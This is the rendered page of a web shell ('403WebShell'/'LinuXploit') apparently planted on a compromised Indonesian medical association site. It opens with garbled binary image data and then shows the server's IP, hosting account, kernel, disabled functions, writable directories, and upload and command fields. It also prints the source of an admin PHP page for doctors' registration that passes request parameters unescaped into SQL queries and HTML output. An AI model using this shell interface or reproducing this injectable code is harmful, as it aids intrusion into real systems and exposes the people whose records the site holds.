JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.207  /  Your IP : 216.73.217.80
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/IDI/superadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/IDI/superadmin/data_sip2.php
<?php  include "header.php";
	// cek apakah yang mengakses halaman ini sudah login
	if($_SESSION['level']<>"supervisor"){
		header("location:location:../login.php");
	}
?>

<?php
$view = isset($_GET['view']) ? $_GET['view'] : null;
switch($view){
	default:
	?>
    
    
    



<!DOCTYPE html>
<html lang="en">

<head>

  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <meta name="author" content="">
<head>
    <title>IDI | List Kategori</title>
    <!-- Custom fonts for this template-->
  <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
  <link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">

  <!-- Custom styles for this template-->
  <link href="css/sb-admin-2.min.css" rel="stylesheet">
  
  <!-- Custom styles for this page -->
  <link href="vendor/datatables/dataTables.bootstrap4.min.css" rel="stylesheet">
    <style type="text/css">
<!--
.style2 {font-family: Arial, Helvetica, sans-serif}
-->
  </style>
</head>
<body>
	<style type="text/css">
	body{
		font-family: roboto;
	}


table {
margin: 0 auto;
border-collapse: collapse;
}

tbody {
color: #000;
}

table td {
padding: 5px 10px;
border: 1px solid #e0e0e0;
font: normal 12px Tahoma, Geneva, sans-serif;

}

table tr {
font: normal 12px Tahoma, Geneva, sans-serif;
}




/* untuk ukuran layar 700px kebawah */
@media screen and (max-width: 780px) {
	
	.header, 
	.footer{
		text-align: center;
	}
	.left {
		width: auto;
		float: none;
	}
	
	.middle {
		width: auto;
		float: none;
	}
	
	.right {
		width: auto;
		float: none;
	}

}




	</style>
</head>

<body id="page-top">
<body>

<!-- Page Wrapper -->
  <div id="wrapper">
  	<?php include "sidebar.php"; ?>
    
    <!-- Content Wrapper -->
    <div id="content-wrapper" class="d-flex flex-column">

      <!-- Main Content -->
      <div id="content">
      
      <?php include "topbar.php";?>
  
      	<!-- Begin Page Content -->
        <div class="container-fluid">
          <!-- DataTales Example -->
          <div class="card shadow mb-4">
            <div class="card-header py-3">
              <h6 class="m-0 font-weight-bold text-primary">List Post</h6>
            </div>
            <div class="card-body">
              <div class="table-responsive">

	<center><?php echo $_GET['noreg']; ?></center>

	
	  
<h4>1. CEK DATA STR DAN MASA BERLAKU STR</h4>
- Masa berlaku STR.<br>
- Masa Berlaku Iuran 5 Tahun.<br>
    <br>
    Jika Status masih Peroses , Pemohon masih bisa Revisi/edit data. <br>
    Jika sudah sesuai, oleh Admin status"Proses" di verifikasi menjadi "Valid" <br>
	   <br>
	      <br>
		  <center><h4>DATA DAN PROGRESS REGISTRAN</h4></center>
	<div align="left"><br>
      </label>
	
	 <?php
	 $hari = date('Y-m-d');
	$sqlSiswa = mysqli_query($konek, "SELECT * FROM h_registrasi WHERE h_registrasi.npm='$_GET[npm]' AND  h_registrasi.noreg='$_GET[noreg]'");
	$ds=mysqli_fetch_array($sqlSiswa);
	$mbstr= $ds['mbstr'];
    ?>
	
	<?php if ( $mbstr<$hari){
	
							echo "
							<div class='alert alert-warning'>
								<span class='glyphicon glyphicon-info-sign'></span> Masa berlaku STR : <span style='color:red'> $mbstr</span> Sudah Expired !!
								<span class='pull-right'> <span style='color:red'>Revisi STR </span><i class='fa fa-angle-double-right'></i></span>
							</div>";	
							}
					?>
					
					
   

	<table class="demo-table responsive" >
		<thead>
			<tr>
				<th>No</th>
				<th>Tanggal Reg</th>
				<th>No reg</th>
				<th>Nama</th>
				<th>Alamat</th>
				<th>Keahlian</th>
				<th>No STR</th>
				<th>Masa Berlaku STR</th>
				<th>Iuran expired </th>
				<th>Notifikasi</th>
				<th>Status</th>
				<th>Action</th>
			</tr>
		</thead>
		<tbody>
			<?php 
			$no = 1;		
			//$data = mysqli_query($konek,"select  count( d_reg.kode='Closing') as pros,  d_reg.project,d_reg.nmlead, d_reg.npm ,count(d_reg.npm) as jumlah,d_reg.kode, mahasiswa.nama_mhs from d_reg INNER JOIN mahasiswa ON d_reg.npm=mahasiswa.npm where mahasiswa.project='$_GET[project]'  group by npm ");
			//$data = mysqli_query($konek,"select d_reg.telp,d_reg.kode,d_reg.tgl_input,d_reg.project,d_reg.nmlead, d_reg.npm ,count(d_reg.nmlead) as jumlah,mahasiswa.nama_mhs from d_reg INNER JOIN mahasiswa ON d_reg.npm=mahasiswa.npm where d_reg.kode <> 'Close' AND mahasiswa.npm='$_GET[npm]' group by telp ");
					$data = mysqli_query($konek,"select * from h_registrasi  where id_tagihan  
			                                     IN (SELECT MAX(id_tagihan) FROM h_registrasi  where  h_registrasi.npm='$_GET[npm]' AND  h_registrasi.noreg='$_GET[noreg]'  GROUP BY noreg ) " );

          $no = 1;
		 
			while($d=mysqli_fetch_array($data)){
			 $hari = date('Y-m-d');
			 
			  $tglreg= $d['tgl_reg'];
			  $date = new DateTime($tglreg);
			  $treg = $date->format('d-m-Y');
		
		      $tgliuran= $d['iuran'];
			  $date = new DateTime($tgliuran);
			  $iuran= $date->format('d-m-Y');
			  
			  
			   $tglcek= $d['tgl_cek'];
			  $date = new DateTime($tglcek);
			  $tcek = $date->format('d-m-Y');
              
			  $tglmb= $d['mbstr'];
			  $date = new DateTime($tglmb);
			  $mbstr = $date->format('d-m-Y');
			 
			 
				?>
				<form method="post" action="" enctype="multipart/form-data"> 

				<tr>
					<td> <?php echo $no; ?> </td>
					<td><?php echo $treg; ?></td>
					     
					
					
					<td><?php echo $d['noreg']; ?>
					<input type='hidden' type="" name="noreg" value="<?php echo $d['noreg']; ?>" readonly>
					</td>
                    <td><?php echo $d['nmlead']; ?></td>
					<td><?php echo $d['alamat']; ?></td>
					<td><?php echo $d['ahli']; ?></td>
					<td><?php echo $d['nostr']; ?><br></td>
					<?php 
						IF($d['mbstr'] < $hari ){
					?>
					<td><span class='merah'><?php echo $mbstr; ?></span></td>
					
					<?php 
									}else{			
					?>
					<td><?php echo $mbstr; ?></td>
					<?php 
									}					
					 ?>
					
					 <?php 
						IF($d['iuran'] < $hari ){
					?>
					
					<td data-header='Status'><a href='pinv.php?id=<?php echo $d['id_tagihan']; ?>&npm=<?php echo $d['npm']; ?>&noreg=<?php echo $d['noreg']; ?>'><span class='merah'><?php echo $iuran; ?></span></a></td>

					<?php 
									}else{			
					?>
					<td data-header='Status'><?php echo $iuran; ?></td>
					<?php 
									}				
					 ?>

					<td data-header='Reminder' class='merah' background-color='#ffcccc' >
					<?php 
						IF($d['status'] <> 'finish'){
					?>
					
					<span class='merah'><?php $booking=new DateTime($d['tgl_reg']);
                        $today        =new DateTime();
						$diff = $today->diff($booking)->days ;
                        echo  $diff. " Hari";
                    ?></span>
					<?php 
									}else{			
										echo "-";
									}
					 ?>
                    </td>
				
		 <td data-header='Status'> <select name="status2">
                     <?php
					$sqlKelas = mysqli_query($konek, "select * from h_registrasi WHERE npm='$_GET[npm]' AND noreg='$_GET[noreg]'  order by status ASC");
					while($k=mysqli_fetch_array($sqlKelas)){

						if($k['status'] == $e['status']){
							$selected = "selected";
						}else{
							$selected ="";
						}
						?>
							<option value="<?php echo $k['status']; ?>" <?php echo $selected; ?>><?php echo $k['status']; ?></option>
							<option value="proses">Proses</option>
							<option value="revisi">Revisi</option>
							<option value="valid">Valid</option>
							
              		<?php
					}
					?>
           			 </select></td>
										
			<td data-header='Status' align='center' >			
					<input type="SUBMIT" name="SUBMIT" id="button-blue" value="Revisi Data" > 						
				  </td>																
					
		  </tr>
				 <?php $no++; 
				
				  ?>
				<?php
				
			$mbstr=$d['mbstr'] ;
			}
			?>
	  <td>
		<td>
			<?php echo "Keterangan:" ?>
										
	    <td>
					<?php 
					    $mbstr= isset($mbstr) ? $mbstr : null;
						  $hari = date('Y-m-d');
						IF($mbstr < $hari ){
					?>
					<?php echo " Masa berlaku STR : " ?><span class='merah'><?php echo $mbstr; ?><br>
					</span><span class='merah'><?php echo " Masa berlaku STR sudah Expired, Revisi STR" ?></span>
					
					<?php 
									}else{						
									echo "STR Sudah Valid" ;
									}									
							?>
										
										

		</tr>
			
			
		</tbody>
   </table> 
   </FORM>
   <br>    <br> 
	 	 <br>    <br> 
	<h4 align="left">2. CEK DATA IURAN 5 TAHUNAN</h4>

	 <div align="left">
     Jika Iuran  sudah Expired ,Admin mengirimkan Invoice. <br>
     Jika sudah dilunasi status di verifikasi Admin menjadi Valid <br>
	 </div>
	 <center><h2 class="style1 style2">Tabel Iuran 5 tahunan</h2></center>
	 
	  <?php
	 $hari = date('Y-m-d');
	$sqlSiswa = mysqli_query($konek, "SELECT * FROM h_registrasi where npm='$_GET[npm]' AND noreg='$_GET[noreg]'  ");
	$ds=mysqli_fetch_array($sqlSiswa);
	$iuran= $ds['iuran'];
	$noreg=$ds['noreg'];
		$pinv=$ds['pinv'];
    ?>

	<?php if ( $iuran<$hari){
	?>
							
				
								
								<?php 
									IF($ds['pinv'] == 'lunas'){
										 echo "Lunas";
										 ?>
							<span class='pull-right'><a href='#'> <span style='color:red'>Lunas </span><i class='fa fa-angle-double-right'></i></a></span>

								<?php 
									}
									else if ($ds['pinv'] == 'bayar'){			
									echo "<span class='pull-right'><a href='invoice2.php?noreg=$noreg'> <span style='color:red'>Sudah Bayar, Validasi! </span><i class='fa fa-angle-double-right'></i></a></span>";
				
									}

									else if ($ds['pinv'] == 'tagihan'){			
									
							        echo "<span class='pull-right'> <span style='color:red'>Tunggu Pembayaran </span><i class='fa fa-angle-double-right'></i></span>";

									}
									
									else if ($ds['pinv'] == 'expired'){		
										 ?>
                                         			<div class='alert alert-warning'>
	<span class='glyphicon glyphicon-info-sign'></span> Masa berlaku Iuran : <span style='color:red'><?php echo $iuran; ?></span> Sudah Expired !!
	<span class='pull-right'><a href='b_inv.php?noreg=<?php echo $ds['noreg']; ?>&npm=<?php echo $ds['npm']; ?>'<span style='color:red'>Buat Invoice </span><i class='fa fa-angle-double-right'></i></a></span>
									<?php
									}
									else{			
										 echo "-";
									}
									 ?>
								
							</div>
								<?php
							}
					?>
					
					
				<?php if ( $pinv== 'bayar'){
	
							?>
							
							<div class='alert alert-warning'>
								<span class='glyphicon glyphicon-info-sign'></span> Invoice Status: <span style='color:red'><?php echo $pinv; ?></span>
								
								<?php 
									IF($ds['pinv'] == 'lunas'){
										 echo "Lunas";
										 ?>
							         <span class='pull-right'><span style='color:red'>Lunas </span><i class='fa fa-angle-double-right'></i></span>

								<?php 
									}
									else if ($ds['pinv'] == 'bayar'){			
									echo "<span class='pull-right'><a href='invoice2.php?noreg=$_GET[noreg]'> <span style='color:red'>Sudah Bayar, Segera Validasi! </span><i class='fa fa-angle-double-right'></i></a></span>";
				
									}
									else{			
										 echo "-";
									}
									 ?>
								
							</div>;	
								<?php
							}
					?>			
      
<br>
  <table class="demo-table responsive" >
    <thead>
      <tr>  
        <th>No</th>
		<th>No Reg</th>
        <th>Nama</th>
		 <th>Keahlian</th>
		  <th>Alamat</th>
       	  <th>exp Iuran</th>
		  <th>Nominal</th>
		  <th>Masa Berlaku Iuran</th>
		    <th>Status Bayar</th>
		
		    <th>Cek</th>
		  
      </tr>
    </thead>
    <tbody >
      <?php
	    $hari = date('Y-m-d');
      //require 'config.php';
      $row = $konek->query("SELECT * FROM h_registrasi where npm='$_GET[npm]' AND noreg='$_GET[noreg]'  order by nmlead") or die(mysqli_error());
      $hari = date('Y-m-d');
	  $no = 1;
	  while($fetch = $row->fetch_array()){
	  
	  		  $str=  $fetch['mbstr'];
			  $date = new DateTime($str);
			  $mbstr = $date->format('d-m-Y');
		
		      $tgliuran=  $fetch['iuran'];
			  $date = new DateTime($tgliuran);
			  $iuran= $date->format('d-m-Y');
	  
	  
       ?>
       <tr>
		<td><?php echo $no ?></td>
		 <td><?php echo $fetch['noreg']?></td>
		 <td><?php echo $fetch['nmlead']?></td>
		  <td><?php echo $fetch['ahli']?></td>
		  <td><?php echo $fetch['alamat']?></td>
				 <?php 
						IF($fetch['iuran'] < $hari ){
					?>
					<td data-header='Masa berlaku Iuran'><span class='merah'><?php echo $iuran; ?></span></td>
					<?php 
									}else{			
					?>
					<td data-header='Masa berlaku Iuran'><?php echo $iuran ?></td>
					<?php 
									}
					 ?>

 					<td><?php echo $fetch['nominal']?></td>
					<td><?php echo $fetch['tgliuran']?></td>
					
					
									 <?php 
						IF($fetch['pinv']=='lunas' ){
					?>
					<td data-header='Status'><span class='merah'><?php echo $fetch['pinv'] ?></span></td>
					<?php 
									}else{			
					?>
					<td data-header='Status'><span class='merah'><?php echo $fetch['pinv'] ?></span></td>
					<?php 
									}
					 ?>
					
							<td data-header='Status' align='center' >			
								<?php 
									IF($fetch['pinv'] == 'lunas'){
										 echo "Lunas";
										 ?>
									
								<?php 
									}
									else if ($fetch['pinv'] == 'bayar'){			
									echo "Silahkan Validasi";
									}
									else if ($fetch['pinv'] == 'tagihan'){			
									echo "Tunggu Pembayaran Invoice";
									}
									else if ($fetch['pinv'] == 'expired'){		
										 ?>
									<a class='btn btn-danger btn-sm' href='b_inv.php?noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>'> Buat Invoice</a>
									<?php
									}
									else{			
										 echo "-";
									}
									 ?>
	     </td>	
      </tr>
      <?php
	   $no++;
      $tglexp=$fetch['iuran'] ;
	  $noinv=$fetch['noinv'] ;
	  $stat=$fetch['pinv'] ;
	  $iustat=$fetch['iustat'] ;
    }
    ?>
	<td>
	 <td>
				<?php echo "Keterangan:" ?>
										
	  <td>
					<?php 
						IF($stat=='lunas' ){
					?>
					<?php echo " Masa berlaku Iuran Tahunan : " ?><?php echo $tglexp; ?><br>
					<?php echo " Lunas" ?>
					<?php 
					
									}
									else if ($stat == 'bayar'){			
									echo "Sudah  Melakukan Pembayaran Silahkan Validasi";
									}
									else if ($stat == 'tagihan'){			
									echo "Tunggu Pembayaran Invoice";
									}
									else if ($stat == 'expired'){		
									echo "Buat Invoice";
										 ?>
									<?php echo " Masa berlaku Iuran Tahunan : " ?><span class='merah'><?php echo $tglexp; ?><br>
									<?php
									}else{						
									echo "Status Inv: $stat" ;
									}									
							?>
										
										

	  </tr>
  </tbody>
</table>


<br>
<br></br>   <br>    <br> 

<h4 align="left">3. CEK DATA TEMPAT PRAKTEK DOKTER</h4>

	 <div align="left">
	 Maximal 3 tempat Praktek.
     Jika Status masih Peroses , Pemohon masih bisa Revisi/edit data. <br>
     Data di Cek Oleh Admin dan Status dirubah menjadi Valid jika sudah memenuhi syarat.<br>



 <br>
   <h4 align="center">Tabel Data Tempat Praktek Dokter</h4></center>
    <br>

     </table>  

	 <table class="demo-table responsive">
                        <thead>
						<tr>
						<th  scope="col">Praktik ke :</th>
						<th  scope="col"> Dokter</th>
						<th scope="col">Keahlian</th>
						<th  scope="col"> telp</th>
						<th scope="col">Sarana Praktek</th>
						<th scope="col">alamat Praktik</th>
					    <th scope="col">Hari Praktek</th>
					    <th   scope="col">Jam praktek </th>
							<th   scope="col">Status </th>

							<th>Action</th>
							<th>Revisi</th>
                        </tr>
						<thead>
                    <?php
					date_default_timezone_set('Asia/Jakarta');
                   // $sql=mysqli_query($konek, "SELECT * FROM mahasiswa WHERE npm='$_GET[noijazah]'");
					$sql   = mysqli_query($konek, "select d_praktek.* from d_praktek   WHERE npm='$_GET[npm]' AND noreg='$_GET[noreg]' order by praktek ");
					//$sql   = mysqli_query($konek, "select d_reg.* from d_reg   WHERE npm='$_GET[npm]' AND noreg='$_GET[noreg]' order by tahap ");
                    ?>
						<?php
						$no = 1;
							while($du=mysqli_fetch_array($sql)){
						?>
						<form method="post" action="data_sip2.php?view=update" enctype="multipart/form-data"> 
                        <tr>
                             
    						
							 <td data-header='No'><?php echo $no; ?>
							  <input type='hidden' type="" name="noreg" value="<?php echo $du['noreg']; ?>" readonly>
							  <input type='hidden' type="" name="npm" value="<?php echo $du['npm']; ?>" readonly>
							 
							 </td>
							 <td data-header='Dokter'><?php echo $du['nmlead']; ?></td>
							  <td data-header='Keahlian'><?php echo $du['ahli']; ?></td>
							<td data-header='Telpon'><?php echo $du['telp']; ?></td>
							 <td data-header='Wilayah Kerja'><?php echo $du['wilker']; ?></td> 
							 <td data-header='Alamat'><?php echo $du['alamat']; ?></td>							
							 <td data-header='Hari Praktek' ><?php echo $du['hari']; ?></td>
							 <td data-header='jam Praktek' ><?php echo $du['jam1']; ?></td>
 							<td data-header='Status' ><span class='merah'><?php echo $du['status']; ?> </span></td>


					<td data-header='Reminder' class='merah' background-color='#ffcccc' >
					<?php 
						IF($du['status'] == 'proses'){
					?>
					<span class='merah'>
					<a class='btn btn-success btn-sm' href='valid2.php?id=<?php echo $du['id']; ?>&npm=<?php echo $du['npm']; ?>&noreg=<?php echo $du['noreg']; ?>'> Validasi</a>
                   </span>
					<?php 
									}else{			
										echo "-";
									}
					 ?>
                    </td> 
 				    <td> </td> 
				   
				  </tr>
				  <?php $no++; 
					} 
					?>
					<td> 
					<td> 
					<td> 
					<td> 
					<td> 
					<td> 
					<td> 
					<td> 
					<td> Status2:
					<td data-header='Status'> <select name="status3">
                     <?php
					$sqlKelas = mysqli_query($konek, "select * from d_praktek   WHERE npm='$_GET[npm]' AND noreg='$_GET[noreg]'  group by status2 ASC");
					while($k=mysqli_fetch_array($sqlKelas)){

						if($k['status2'] == $e['status2']){
							$selected = "selected";
						}else{
							$selected ="";
						}
						?>
							<option value="<?php echo $k['status2']; ?>" <?php echo $selected; ?>><?php echo $k['status2']; ?></option>
							<option value="proses">Proses</option>
							<option value="revisi">Revisi</option>
							<option value="valid">Valid</option>
							
              		<?php
					}
					?>
           			 </select></td>
					
					<td > 
    					<input type="SUBMIT" name="SUBMIT" id="button-blue" value="Revisi Praktek" > 
				    </td> 
					
					
    </table>
	</form>
   

							
							
	<?php
				    
				
				
				 $npm=$_GET['npm'];
	?>
                           </td>

   
   
   
 <br /><br />  
   <h4 align="left">3. LENGKAPI PERSYARATAN DOKUMEN </h4>

<div class="form-group">    
<center>
<div align="left">File yg akan di upload untuk pembuatan <strong>Surat Rekomendasi IDI Kota Bandung </strong></div>
<p align="left">Foto copy :<br>
  1. Surat permohonan SIP ditujukan ke DPMPTSP Kota Bandung<br>
  2. Surat pernyataan mempunyai tempat praktik (bermaterai)<br>
  3. Surat pernyataan dan persetujuan tidak keberatan dari pimpinan, tempat bekerja bagi PNS/TNI/POLRI/Badan Hukum<br>
  4. Surat permohonan pengesahan Dokumen, ditujukan ke Dinas Kesehatan Kota Bandung<br>
  5. STR (salinan)<br>
  6. Scan KTP berwarna<br>
  7. Ijazah dokter umum/spesialis<br>
  8. Rekomendasi Profesi bagi dokter spesialis<br>
  9. Scan NPWP berwarna<br>
  10.Surat keterangan bekerja</p>
<p align="left">Documen yang asli :<br>
  1. Surat pernyataan keabsahan dokumen (bermaterai)</p>
<p align="left">
  <label></label>
  <br>
</p>

   <h4 align="center">Tabel Data Dokumen yg Sudah di Upload</h4></center>
    <br>
<table class="demo-table responsive" >
<?php
	 $hari = date('Y-m-d');
	$sqlSiswa = mysqli_query($konek, "SELECT count(noreg) as jumlah FROM file WHERE file.npm='$_GET[npm]' AND file.noreg='$_GET[noreg]'");
	$ds=mysqli_fetch_array($sqlSiswa);
	$jumlah= $ds['jumlah'];
    ?>
	
	<?php if ( $jumlah<10){
	
							echo "
							<div class='alert alert-warning'>
								<span class='glyphicon glyphicon-info-sign'></span> Dokumen telah di upload : <span style='color:red'> $jumlah</span> Masih kurang ddari 10 Dokumen !!
								<span class='pull-right'> <span style='color:red'>Upload sisa Dokumen </span><i class='fa fa-angle-double-right'></i></span>
							</div>";	
							}
					?>

  <table id="example" class="demo-table responsive" style="width:100%">
    <thead>
      <tr>  
         <th>No</th>
		 <th>Name</th>
         <th>File Name</th>
		 <th>Download</th>
		 <th>Status</th>
         <th>Action</th>
      </tr>
    </thead>
    <tbody class="alert-success">
      <?php
      //require 'config.php';
      $row = $konek->query("SELECT *,count( file_id) as jumlah  FROM file WHERE noreg='$_GET[noreg]' group by file_id ") or die(mysqli_error());
       $no = 1;
	   $total2=0;
	  while($fetch = $row->fetch_array()){
	  
       ?>
       <tr>
        <?php 
        $name = explode('/', $fetch['file']);
        ?>
        <td><?php echo $no ?></td>
		<td><?php echo $fetch['nmfile']?></td>
        <td><?php echo $fetch['name']?></td>
        <td><a href="download22.php?file=<?php echo $name[1]?>" class="btn btn-primary"><span class="glyphicon glyphicon-download"></span> Download</a></td>
  		<td><span class='merah'><?php echo $fetch['status']?></span></td>


					<td data-header='Reminder' class='merah' background-color='#ffcccc' >
					<?php 
						IF($fetch['status'] == 'proses'){
					?>
					
					<span class='merah'>
					<a class='btn btn-success btn-sm' href='valid3.php?id=<?php echo $fetch['file_id']; ?>&npm=<?php echo $fetch['npm']; ?>&noreg=<?php echo $fetch['noreg']; ?>'> Validasi</a>
                   </span>
					<?php 
									}else{			
										echo "-";
									}
					 ?>
                    </td> 


      </tr>
      <?php
	   $no++;
	   
	   //  $jumlah= $fetch['jumlah'];
	    
	     $total2 += $fetch['jumlah'];  
    }
	
    		  $selisih =  10-$total2 ;
		  ?>
	<td>
	  <td>
										<?php echo "Total document:" ?>
										<span class='merah'><?php echo $total2 ?></span>
	  <td>
										<?php echo "Total Document di upload harus 10, Upload Sisa :" ?>

										<span class='merah'><?php echo $selisih  ?></span>
										<?php echo " Document " ?>

	  </tr>
  </tbody>
</table>
		</td></tr>
 <br/>


	  <br>

	  <br>
	 <center><h4> Proses Selanjutnya Memberikan Informasi kepada Pemohon</h4></center>
  <br>
   	<div align="left">
	- Status Revisi Jika Data Kurang lengkap akan terkirim pesan Revisi data Ke Pemohon <br> 
	- Status Valid Jika data Sudah Lengkap, Pemohon Sudah tidak dapat edit/Revisi data <br> 
	- Status Finish Jika SK sudah keluar dan siap cetak Surat Rekomendasi, Pemohon Sudah tidak dapat edit/Revisi data.
	 <br>  
	 <br>  
	 <center><a class='btn btn-success btn-sm' href='upd_sip2.php?npm=<?php echo $_GET['npm']; ?>&noreg=<?php echo $_GET['noreg']; ?>'>Rekomendasi Admin</a> </center>

	 	 <br>  
<br>
										  
									<div class="table-container"></div>
					<div class="panel-body">
					
					<div class="">
					<table id="example" class="display nowrap table-striped table-bordered table" style="width:100%">
					
					<caption class="title">Tabel Journal :    <span class="merah"> Warning Hanya hapus Leads Baru </span></caption>
					<thead>
						<tr>
							<th scope="col">No</th>
							<th scope="col">document</th>
						
						</tr>
					</thead>
					
		   <tbody class="alert-success">
	<?php 
//mysql_connect("localhost","root","");
//mysql_select_db("mahasiswa");
$noreg=$_GET['noreg'];
		
						$sql = mysqli_query($konek, "SELECT * FROM file  WHERE npm='$npm' AND noreg='$noreg'   ");
						
						//$sql = mysqli_query($konek, "SELECT * FROM d_nonspp WHERE npm='$nis' order by nmlead ");
						////  $sql = mysqli_query($konek, "select tblnonspp.*,nonspp.bayar from nonspp INNER JOIN tblnonspp ON nonspp.kelas= tblnonspp.kelas group by jenis_tagihan");
						

						
						$no=1;
						$total =0;
						while($d=mysqli_fetch_array($sql)){
							 
							echo "<tr>
								<td data-header='No' class='title'>$no</td>
							
								
								
								
								<td data-header='Bukti' align='center'>";
								if($d['file']==''){
										echo "-";
								}else{		
								
									?>
			
				
		              <a href="<?php echo $d['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">		
			            <img  src="<?php echo $d['file']; ?>"  style="width:50%;"/>
						 <br>  
						  <br>  
						  <?php echo $d['nmfile']; ?> </td>
				
							
									
       				  <?php
									}
							?>
					
							
							
							</tr>
					 <?php
							$no++;
						}	
					
						?>	  
					</table>
</div>
 		
		
		 
					
<!-- proses edit data -->
<?php
if($_SERVER['REQUEST_METHOD']=='POST'){
     $npm	    = $_GET['npm'];
	 $noreg 	    = $_GET['noreg'];

	//variabel untuk menampung inputan dari form
	//$id        = $_POST['id'];
   
	//$nmlead 	= $_POST['nmlead'];
	//$tahap	    = $_POST['tahap']+1;
	//$dokumen 	= $_POST['doc'];
	//$keterangan	= $_POST['ket'];
	$status2     = $_POST['status2'];
	//$tgl_cek	= $_POST['tgl_cek'];
	//$tgl_reg    = $_POST['tgl_reg'];
  //  $ktp    = $_POST['ktp'];
	//$sir    = $_POST['sir'];
  //  $foto    = $_POST['foto'];
	
	// simpan inputan user ke variabel
	 //   $userInput = array('ket' => $data);

	
					//$update = mysqli_query($konek, "UPDATE d_progres    SET data='chek',status2='$status2',keterangan='$keterangan',tgl_cek='$tgl_cek'    WHERE  id_tagihan='$id'");
	
					$update = mysqli_query($konek, "UPDATE h_registrasi SET status='$status2' WHERE  noreg= '$noreg'");




		header("location:data_sip2.php?noreg=$noreg&npm=$npm");
		//echo "$id";
		
	
		}
	
?> 
	<?php
	break;
	case "update":
    ?>
	<!-- proses edit data -->
<?php
if($_SERVER['REQUEST_METHOD']=='POST'){

include "koneksi.php";

     $npm	    = $_POST['npm'];
	 $noreg 	= $_POST['noreg'];

	$status3     = $_POST['status3'];


	
					//$update = mysqli_query($konek, "UPDATE d_progres    SET data='chek',status2='$status2',keterangan='$keterangan',tgl_cek='$tgl_cek'    WHERE  id_tagihan='$id'");
	
					$update = mysqli_query($konek, "UPDATE d_praktek SET status2='$status3' WHERE  noreg= '$noreg'");




		header("location:data_sip2.php?noreg=$noreg&npm=$npm");
		//echo "$id";
		
	
		}
	   ?>	
<?php
	break;
          }
       ?>	
	
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit